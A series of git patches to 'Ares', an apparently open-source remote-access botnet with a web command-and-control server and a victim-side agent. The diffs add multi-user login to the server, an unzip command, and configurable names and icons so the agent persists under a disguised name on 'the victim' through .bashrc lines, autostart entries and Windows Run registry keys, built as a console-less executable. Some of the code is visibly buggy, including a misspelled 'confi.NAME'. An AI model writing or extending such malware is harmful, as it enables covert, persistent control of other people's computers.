From 2098662e26685f985caae3cf58592a0c70f551cc Mon Sep 17 00:00:00 2001 From: Draguve Date: Sun, 15 Apr 2018 02:34:55 +0530 Subject: [PATCH 1/6] Inital commit for multiple users --- .gitignore | 2 ++ server/api/__init__.py | 7 ++++--- server/models.py | 1 + server/webui/__init__.py | 21 ++++++++++++++++----- server/webui/templates/login.html | 1 + 5 files changed, 24 insertions(+), 8 deletions(-) diff --git a/.gitignore b/.gitignore index a8a8039..cfa957a 100644 --- a/.gitignore +++ b/.gitignore @@ -4,3 +4,5 @@ server/uploads *.db server/agents TODO + +\.vscode/ diff --git a/server/api/__init__.py b/server/api/__init__.py index fbd0c02..9a1858a 100644 --- a/server/api/__init__.py +++ b/server/api/__init__.py @@ -20,6 +20,7 @@ import cgi from webui import require_admin +from webui import require_user from models import db from models import Agent from models import Command @@ -38,7 +39,7 @@ def geolocation(ip): @api.route('/massexec', methods=['POST']) -@require_admin +@require_user def mass_execute(): selection = request.form.getlist('selection') if 'execute' in request.form: @@ -54,7 +55,7 @@ def mass_execute(): @api.route('//push', methods=['POST']) -@require_admin +@require_user def push_command(agent_id): agent = Agent.query.get(agent_id) if not agent: @@ -64,7 +65,7 @@ def push_command(agent_id): @api.route('//stdout') -@require_admin +@require_user def agent_console(agent_id): agent = Agent.query.get(agent_id) return render_template('agent_console.html', agent=agent) diff --git a/server/models.py b/server/models.py index 1f46ba9..0a828ce 100644 --- a/server/models.py +++ b/server/models.py @@ -57,3 +57,4 @@ class User(db.Model): salt = db.Column(db.String(100)) last_login_time = db.Column(db.DateTime()) last_login_ip = db.Column(db.String(100)) + is_admin = db.Column(db.Boolean,unique=False, default=True) diff --git a/server/webui/__init__.py b/server/webui/__init__.py index b20e4ae..497e61d 100644 --- a/server/webui/__init__.py +++ b/server/webui/__init__.py @@ -31,7 +31,17 @@ def hash_and_salt(password): def require_admin(func): @wraps(func) def wrapper(*args, **kwargs): - if 'username' in session and session['username'] == 'admin': + if 'username' in session and User.query.filter_by(username=session['username']).first().is_admin: + return func(*args, **kwargs) + else: + flash("user is not an admin") + return redirect(url_for('webui.login')) + return wrapper + +def require_user(func): + @wraps(func) + def wrapper(*args, **kwargs): + if 'username' in session: return func(*args, **kwargs) else: return redirect(url_for('webui.login')) @@ -42,7 +52,7 @@ def wrapper(*args, **kwargs): @webui.route('/') -@require_admin +@require_user def index(): return render_template('index.html') @@ -84,7 +94,7 @@ def login(): @webui.route('/passchange', methods=['GET', 'POST']) -@require_admin +@require_user def change_password(): if request.method == 'POST': if 'password' in request.form: @@ -107,14 +117,14 @@ def logout(): @webui.route('/agents') -@require_admin +@require_user def agent_list(): agents = Agent.query.order_by(Agent.last_online.desc()) return render_template('agent_list.html', agents=agents) @webui.route('/agents/') -@require_admin +@require_user def agent_detail(agent_id): agent = Agent.query.get(agent_id) if not agent: @@ -123,6 +133,7 @@ def agent_detail(agent_id): @webui.route('/agents/rename', methods=['POST']) +@require_user def rename_agent(): if 'newname' in request.form and 'id' in request.form: agent = Agent.query.get(request.form['id']) diff --git a/server/webui/templates/login.html b/server/webui/templates/login.html index 19767b8..87088fb 100644 --- a/server/webui/templates/login.html +++ b/server/webui/templates/login.html @@ -18,6 +18,7 @@
+

Username:

Passphrase:

From 5c6422e4668b3cc2ff9a4bc3bf22fa72409052cf Mon Sep 17 00:00:00 2001 From: Draguve Date: Sun, 15 Apr 2018 03:41:45 +0530 Subject: [PATCH 2/6] Added functionality for multiple users --- server/webui/__init__.py | 84 ++++++++++++++++--------- server/webui/templates/create_user.html | 35 +++++++++++ server/webui/templates/login.html | 5 +- 3 files changed, 94 insertions(+), 30 deletions(-) create mode 100644 server/webui/templates/create_user.html diff --git a/server/webui/__init__.py b/server/webui/__init__.py index 497e61d..3a04e68 100644 --- a/server/webui/__init__.py +++ b/server/webui/__init__.py @@ -59,46 +59,74 @@ def index(): @webui.route('/login', methods=['GET', 'POST']) def login(): - admin_user = User.query.filter_by(username='admin').first() - if not admin_user: + if not User.query.filter_by(is_admin=True).first(): + #Comes Here if there is no admin user in the table if request.method == 'POST': if 'password' in request.form: - password_hash, salt = hash_and_salt(request.form['password']) - new_user = User() - new_user.username = 'admin' - new_user.password = password_hash - new_user.salt = salt - db.session.add(new_user) - db.session.commit() - flash('Password set successfully. Please log in.') - return redirect(url_for('webui.login')) - return render_template('create_password.html') - if request.method == 'POST': - if request.form['password']: - password_hash = hashlib.sha256() - password_hash.update(admin_user.salt + request.form['password']) - if admin_user.password == password_hash.hexdigest(): - session['username'] = 'admin' - last_login_time = admin_user.last_login_time - last_login_ip = admin_user.last_login_ip - admin_user.last_login_time = datetime.now() - admin_user.last_login_ip = request.remote_addr + password_hash, salt = hash_and_salt(request.form['password']) + if not User.query.filter_by(username=request.form['username']).first(): + new_user = User() + new_user.username = request.form['username'] + new_user.password = password_hash + new_user.salt = salt + new_user.is_admin = True + db.session.add(new_user) db.session.commit() - flash('Logged in successfully.') - if last_login_ip: - flash('Last login from ' + last_login_ip + ' on ' + last_login_time.strftime("%d/%m/%y %H:%M")) - return redirect(url_for('webui.index')) + flash('User set successfully. Please log in.') else: - flash('Wrong passphrase') + flash('User Already Present') + return redirect(url_for('webui.login')) + return render_template('create_user.html',show_checkbox=False) + #when there is an admin in the table + if request.method == 'POST': + user = User.query.filter_by(username=request.form['username']).first() + if user != None: + if request.form['password'] and request.form['username']: + password_hash = hashlib.sha256() + password_hash.update(user.salt + request.form['password']) + if user.password == password_hash.hexdigest(): + session['username'] = request.form['username'] + last_login_time = user.last_login_time + last_login_ip = user.last_login_ip + user.last_login_time = datetime.now() + user.last_login_ip = request.remote_addr + db.session.commit() + flash('Logged in successfully.') + if last_login_ip: + flash('Last login from ' + last_login_ip + ' on ' + last_login_time.strftime("%d/%m/%y %H:%M")) + return redirect(url_for('webui.index')) + else: + flash('Wrong passphrase') return render_template('login.html') +@webui.route('/adduser',methods=['GET','POST']) +@require_admin +def add_user(): + if request.method == 'POST': + user = User.query.filter_by(username=request.form['username']).first() + if 'password' in request.form and not user: + password_hash, salt = hash_and_salt(request.form['password']) + new_user = User() + new_user.username = request.form['username'] + new_user.password = password_hash + new_user.salt = salt + new_user.is_admin = 'is_admin' in request.form + db.session.add(new_user) + db.session.commit() + flash('User set successfully. Please log in.') + return redirect(url_for('webui.index')) + else: + flash("Username already present") + return render_template('create_user.html',show_checkbox=True) + + @webui.route('/passchange', methods=['GET', 'POST']) @require_user def change_password(): if request.method == 'POST': if 'password' in request.form: - admin_user = User.query.filter_by(username='admin').first() + admin_user = User.query.filter_by(username=session['username']).first() password_hash, salt = hash_and_salt(request.form['password']) admin_user.password = password_hash admin_user.salt = salt diff --git a/server/webui/templates/create_user.html b/server/webui/templates/create_user.html new file mode 100644 index 0000000..a8564a7 --- /dev/null +++ b/server/webui/templates/create_user.html @@ -0,0 +1,35 @@ +{% with title="Ares" %} +{% include "header.html" %} +{% endwith %} + +
+
+ +

Please define a password for the Web Interface.

+
+ Username


+ New Password


+ Confirm


+ {% if show_checkbox %} + Is Admin


+ {% else %} + + {% endif %} + +
+ +
+
+ + +{% include "footer.html" %} diff --git a/server/webui/templates/login.html b/server/webui/templates/login.html index 87088fb..b62fd89 100644 --- a/server/webui/templates/login.html +++ b/server/webui/templates/login.html @@ -18,8 +18,9 @@
-

Username:

-

Passphrase:

+

Username:

+

Passphrase:

+
From 3f7d74c4cb782b51c5ba22db58b5f64266c07ba9 Mon Sep 17 00:00:00 2001 From: Draguve Date: Sun, 15 Apr 2018 04:01:05 +0530 Subject: [PATCH 3/6] Added button to add user and better admin check --- server/webui/__init__.py | 4 +++- server/webui/templates/header.html | 8 +++++++- 2 files changed, 10 insertions(+), 2 deletions(-) diff --git a/server/webui/__init__.py b/server/webui/__init__.py index 3a04e68..9592177 100644 --- a/server/webui/__init__.py +++ b/server/webui/__init__.py @@ -31,7 +31,7 @@ def hash_and_salt(password): def require_admin(func): @wraps(func) def wrapper(*args, **kwargs): - if 'username' in session and User.query.filter_by(username=session['username']).first().is_admin: + if 'username' in session and session['is_admin']: return func(*args, **kwargs) else: flash("user is not an admin") @@ -86,6 +86,7 @@ def login(): password_hash.update(user.salt + request.form['password']) if user.password == password_hash.hexdigest(): session['username'] = request.form['username'] + session['is_admin'] = user.is_admin last_login_time = user.last_login_time last_login_ip = user.last_login_ip user.last_login_time = datetime.now() @@ -140,6 +141,7 @@ def change_password(): @webui.route('/logout') def logout(): session.pop('username', None) + session.pop('is_admin', None) flash('Logged out successfully.') return redirect(url_for('webui.login')) diff --git a/server/webui/templates/header.html b/server/webui/templates/header.html index 5df6ee4..c2cf7ee 100644 --- a/server/webui/templates/header.html +++ b/server/webui/templates/header.html @@ -33,7 +33,13 @@

{{ title }}

{% endif %} {% if session.username %}

Logged in as {{ session.username }}

-

Change Password Disconnect

+

+ Change Password + {% if session.is_admin %} + Add User + {% endif %} + Disconnect +

{% endif %}
From 26cc33b993617239e51c50859a5344c7639b6610 Mon Sep 17 00:00:00 2001 From: Draguve Date: Sat, 9 Jun 2018 17:49:57 +0530 Subject: [PATCH 4/6] Added unzip function --- README.md | 3 +++ agent/agent.py | 29 ++++++++++++++++++++++++++++- 2 files changed, 31 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index 3a168d6..a038fbc 100644 --- a/README.md +++ b/README.md @@ -110,6 +110,9 @@ Downloads a file through HTTP(S). zip Creates a zip archive of the folder. +unzip +Unzips a file in the current directory + screenshot Takes a screenshot. diff --git a/agent/agent.py b/agent/agent.py index 1fb2ae9..cd5aa71 100755 --- a/agent/agent.py +++ b/agent/agent.py @@ -204,6 +204,7 @@ def persist(self): else: with open(self.expand_path("~/.bashrc"), "a") as f: f.write("\n(if [ $(ps aux|grep " + os.path.basename(sys.executable) + "|wc -l) -lt 2 ]; then " + agent_path + ";fi&)\n") + elif platform.system() == 'Windows': persist_dir = os.path.join(os.getenv('USERPROFILE'), 'ares') if not os.path.exists(persist_dir): @@ -259,7 +260,26 @@ def zip(self, zip_name, to_zip): self.send_output("[+] Archive created: %s" % zip_name) except Exception as exc: self.send_output(traceback.format_exc()) + + def extract_zip(self,zip_name): + self.extract_zip(self,zip_name,os.path.dirname(zip_name)) + @threaded + def extract_zip(self,zip_name,destination): + """ Unzips a zip file in the current directory """ + try: + zip_name = self.expand_path(zip_name) + if not os.path.exists(zip_name): + self.send_output("[+] No such zip file: %s"% zip_name) + return + self.send_output("[*] Starting zip extraction...") + zip_file = zipfile.ZipFile(zip_name) + zip_file.extractall(destination) + zip_file.close() + self.send_output("[+] Extracted archive: %s" % zip_name) + except Exception as exc: + self.send_output(traceback.format_exc()) + @threaded def screenshot(self): """ Takes a screenshot and uploads it to the server""" @@ -323,6 +343,13 @@ def run(self): self.persist() elif command == 'exit': self.exit() + elif command == "unzip": + if not args or len(args) < 2: + self.send_output("usage: unzip or unzip ") + elif len(args) == 1: + self.extract_zip(" ".join(args)) + else: + self.extract_zip(args[0]," ".join(args[1:])) elif command == 'zip': if not args or len(args) < 2: self.send_output('usage: zip ') @@ -366,4 +393,4 @@ def main(): agent.run() if __name__ == "__main__": - main() + main() \ No newline at end of file From cea82a67ed1e814eda18243d463d1c25e10651c8 Mon Sep 17 00:00:00 2001 From: Draguve Date: Sat, 9 Jun 2018 18:03:36 +0530 Subject: [PATCH 5/6] updated unzip --- agent/agent.py | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) diff --git a/agent/agent.py b/agent/agent.py index cd5aa71..e324781 100755 --- a/agent/agent.py +++ b/agent/agent.py @@ -260,18 +260,17 @@ def zip(self, zip_name, to_zip): self.send_output("[+] Archive created: %s" % zip_name) except Exception as exc: self.send_output(traceback.format_exc()) - - def extract_zip(self,zip_name): - self.extract_zip(self,zip_name,os.path.dirname(zip_name)) - + @threaded - def extract_zip(self,zip_name,destination): + def extract_zip(self,zip_name,destination=""): """ Unzips a zip file in the current directory """ try: zip_name = self.expand_path(zip_name) if not os.path.exists(zip_name): self.send_output("[+] No such zip file: %s"% zip_name) return + if destination="": + destination = os.path.dirname(zip_name) self.send_output("[*] Starting zip extraction...") zip_file = zipfile.ZipFile(zip_name) zip_file.extractall(destination) From 8e9c4b7d9f038242b78e1ea93e24f33b525fe220 Mon Sep 17 00:00:00 2001 From: draguve Date: Mon, 11 Jun 2018 01:50:00 +0530 Subject: [PATCH 6/6] made agent to persist in different locations --- agent/agent.py | 28 ++++++++++++++-------------- agent/builder.py | 27 ++++++++++++++++++++------- agent/config.py | 1 + agent/template_config.py | 1 + 4 files changed, 36 insertions(+), 21 deletions(-) diff --git a/agent/agent.py b/agent/agent.py index e324781..cf26870 100755 --- a/agent/agent.py +++ b/agent/agent.py @@ -47,9 +47,9 @@ def __init__(self): def get_install_dir(self): install_dir = None if platform.system() == 'Linux': - install_dir = self.expand_path('~/.ares') + install_dir = self.expand_path('~/.'+config.NAME) elif platform.system() == 'Windows': - install_dir = os.path.join(os.getenv('USERPROFILE'), 'ares') + install_dir = os.path.join(os.getenv('USERPROFILE'), config.NAME) if os.path.exists(install_dir): return install_dir else: @@ -191,45 +191,45 @@ def persist(self): self.send_output('[!] Agent seems to be already installed.') return if platform.system() == 'Linux': - persist_dir = self.expand_path('~/.ares') + persist_dir = self.expand_path('~/.'+config.NAME) if not os.path.exists(persist_dir): os.makedirs(persist_dir) agent_path = os.path.join(persist_dir, os.path.basename(sys.executable)) shutil.copyfile(sys.executable, agent_path) os.system('chmod +x ' + agent_path) if os.path.exists(self.expand_path("~/.config/autostart/")): - desktop_entry = "[Desktop Entry]\nVersion=1.0\nType=Application\nName=Ares\nExec=%s\n" % agent_path - with open(self.expand_path('~/.config/autostart/ares.desktop'), 'w') as f: + desktop_entry = "[Desktop Entry]\nVersion=1.0\nType=Application\nName="+config.NAME+"\nExec=%s\n" % agent_path + with open(self.expand_path('~/.config/autostart/'+config.NAME+'.desktop'), 'w') as f: f.write(desktop_entry) else: with open(self.expand_path("~/.bashrc"), "a") as f: f.write("\n(if [ $(ps aux|grep " + os.path.basename(sys.executable) + "|wc -l) -lt 2 ]; then " + agent_path + ";fi&)\n") elif platform.system() == 'Windows': - persist_dir = os.path.join(os.getenv('USERPROFILE'), 'ares') + persist_dir = os.path.join(os.getenv('USERPROFILE'),config.NAME) if not os.path.exists(persist_dir): os.makedirs(persist_dir) agent_path = os.path.join(persist_dir, os.path.basename(sys.executable)) shutil.copyfile(sys.executable, agent_path) - cmd = "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v ares /t REG_SZ /d \"%s\"" % agent_path + cmd = "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "+config.NAME+" /t REG_SZ /d \"%s\"" % agent_path subprocess.Popen(cmd, shell=True) self.send_output('[+] Agent installed.') def clean(self): """ Uninstalls the agent """ if platform.system() == 'Linux': - persist_dir = self.expand_path('~/.ares') + persist_dir = self.expand_path('~/.'+config.NAME) if os.path.exists(persist_dir): shutil.rmtree(persist_dir) - desktop_entry = self.expand_path('~/.config/autostart/ares.desktop') + desktop_entry = self.expand_path('~/.config/autostart/'+confi.NAME+'.desktop') if os.path.exists(desktop_entry): os.remove(desktop_entry) - os.system("grep -v .ares .bashrc > .bashrc.tmp;mv .bashrc.tmp .bashrc") + os.system("grep -v ."+config.NAME+" .bashrc > .bashrc.tmp;mv .bashrc.tmp .bashrc") elif platform.system() == 'Windows': - persist_dir = os.path.join(os.getenv('USERPROFILE'), 'ares') - cmd = "reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v ares" + persist_dir = os.path.join(os.getenv('USERPROFILE'), config.NAME) + cmd = "reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "+config.NAME subprocess.Popen(cmd, shell=True) - cmd = "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /f /v ares /t REG_SZ /d \"cmd.exe /c del /s /q %s & rmdir %s\"" % (persist_dir, persist_dir) + cmd = "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /f /v "+config.NAME+" /t REG_SZ /d \"cmd.exe /c del /s /q %s & rmdir %s\"" % (persist_dir, persist_dir) subprocess.Popen(cmd, shell=True) self.send_output('[+] Agent removed successfully.') @@ -269,7 +269,7 @@ def extract_zip(self,zip_name,destination=""): if not os.path.exists(zip_name): self.send_output("[+] No such zip file: %s"% zip_name) return - if destination="": + if destination=="": destination = os.path.dirname(zip_name) self.send_output("[*] Starting zip extraction...") zip_file = zipfile.ZipFile(zip_name) diff --git a/agent/builder.py b/agent/builder.py index 4d89892..6a4f21b 100755 --- a/agent/builder.py +++ b/agent/builder.py @@ -5,7 +5,7 @@ import tempfile -def build_agent(output, server_url, platform, hello_interval, idle_time, max_failed_connections, persist): +def build_agent(output, server_url, platform, hello_interval, idle_time, max_failed_connections, persist,name,icon): prog_name = os.path.basename(output) platform = platform.lower() if platform not in ['linux', 'windows']: @@ -17,7 +17,8 @@ def build_agent(output, server_url, platform, hello_interval, idle_time, max_fai working_dir = os.path.join(tempfile.gettempdir(), 'ares') if os.path.exists(working_dir): shutil.rmtree(working_dir) - agent_dir = os.path.dirname(__file__) + agent_dir = os.path.dirname(os.path.abspath(__file__)) + print(agent_dir,working_dir) shutil.copytree(agent_dir, working_dir) with open(os.path.join(working_dir, "config.py"), 'w') as agent_config: with open(os.path.join(agent_dir, "template_config.py")) as f: @@ -27,6 +28,7 @@ def build_agent(output, server_url, platform, hello_interval, idle_time, max_fai config_file = config_file.replace("__IDLE_TIME__", str(idle_time)) config_file = config_file.replace("__MAX_FAILED_CONNECTIONS__", str(max_failed_connections)) config_file = config_file.replace("__PERSIST__", str(persist)) + config_file = config_file.replace("__NAME__",str(name)) agent_config.write(config_file) cwd = os.getcwd() os.chdir(working_dir) @@ -36,14 +38,21 @@ def build_agent(output, server_url, platform, hello_interval, idle_time, max_fai agent_file = os.path.join(working_dir, 'dist', prog_name) elif platform == 'windows': if os.name == 'posix': - os.system('wine C:/Python27/Scripts/pyinstaller --noconsole --onefile ' + prog_name + '.py') + cmd = 'wine C:/Python27/Scripts/pyinstaller --noconsole --onefile ' + prog_name + '.py' + if icon: + cmd = cmd + " --icon " + icon + os.system(cmd) else: - os.system('pyinstaller --noconsole --onefile ' + prog_name + '.py') + cmd = 'pyinstaller --noconsole --onefile ' + prog_name + '.py' + if icon: + cmd = cmd + " --icon " + icon + os.system(cmd) if not prog_name.endswith(".exe"): prog_name += ".exe" agent_file = os.path.join(working_dir, 'dist', prog_name) os.chdir(cwd) - os.rename(agent_file, output) + print(agent_file,output) + os.rename(agent_file,output) shutil.rmtree(working_dir) print "[+] Agent built successfully: %s" % output @@ -58,6 +67,8 @@ def main(): parser.add_argument('--idle-time', type=int, default=60, help="Inactivity time (in seconds) after which to go idle. In idle mode, the agent pulls commands less often (every seconds).") parser.add_argument('--max-failed-connections', type=int, default=20, help="The agent will self destruct if no contact with the CnC can be made times in a row.") parser.add_argument('--persistent', action='store_true', help="Automatically install the agent on first run.") + parser.add_argument('--name',default="ares",help="Name for the application to keep on the victim.") + parser.add_argument('--icon',default=None,help="file for ico file for the output.") args = parser.parse_args() build_agent( @@ -67,8 +78,10 @@ def main(): hello_interval=args.hello_interval, idle_time=args.idle_time, max_failed_connections=args.max_failed_connections, - persist=args.persistent) - + persist=args.persistent, + name=args.name, + icon=args.icon + ) if __name__ == "__main__": main() \ No newline at end of file diff --git a/agent/config.py b/agent/config.py index dc39cfa..c5a0c3c 100644 --- a/agent/config.py +++ b/agent/config.py @@ -3,6 +3,7 @@ IDLE_TIME = 60 MAX_FAILED_CONNECTIONS = 10 PERSIST = True +NAME = "ares" HELP = """ Executes the command in a shell and return its output. diff --git a/agent/template_config.py b/agent/template_config.py index 53f69ce..6fbe3bd 100644 --- a/agent/template_config.py +++ b/agent/template_config.py @@ -3,6 +3,7 @@ IDLE_TIME = __IDLE_TIME__ MAX_FAILED_CONNECTIONS = __MAX_FAILED_CONNECTIONS__ PERSIST = __PERSIST__ +NAME = __NAME__ HELP = """ Executes the command in a shell and return its output.